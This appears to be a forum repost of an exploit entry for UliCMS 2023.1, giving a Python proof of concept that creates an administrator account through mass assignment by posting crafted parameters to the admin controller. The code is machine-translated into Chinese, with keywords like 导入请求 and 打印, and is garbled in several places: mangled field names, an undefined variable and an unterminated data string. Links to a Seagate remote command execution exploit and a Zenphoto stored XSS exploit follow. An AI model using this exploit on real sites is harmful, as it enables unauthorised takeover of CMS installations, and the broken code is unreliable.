Ulicms 2023.1-通过质量分配创建管理员用户

[HackApt-37 Team已验证会员]

#Exploit title: Ulicms 2023.1-通过质量分配创建管理用户
＃Application: Ulicms
＃版本: 2023.1-sniffing-vicuna
＃bugs:通过质量分配创建管理用户
＃Technology: PHP
#DENDOR URL: https://en.ulicms.de/
#software link: https://www.ulicms.de/content/files/releases/2023.1/ulicms-2023.1-sniffing-vicuna-vicuna-full.zip
#date of stud: 04-05-2023
＃作者:MirabbasAğalarov
#Tested On: Linux
##此代码用Python编写，并有助于在Ulicms-2023.1-Sniffing-Vicuna上创建一个管理员帐户
导入请求
new_name=输入（'name:'）
new_email=输入（'email:'）
new_pass=输入（'密码:'）
url='http://localhost/dist/admin/index.php'
标题={'content-type':'应用程序/x-www-form-urlencoded'}
data=f'sClass=userControllerSmethod=createadd_admin=add_adminusername={new_name} firstName={new_name} lastName={new_name} email email emair={new_email
响应=requests.post（url，标头=标题，data=data）
if antsphy.status_code==200:
打印（“请求是成功并创建了新的管理帐户”）
其他:
打印（“请求是失败。'）
#POC视频:

 

H

Seagate Central Storage 2015.0916-未经身份验证的远程命令执行（Metasploit）

H

Zenphoto 1.6-多个存储的XSS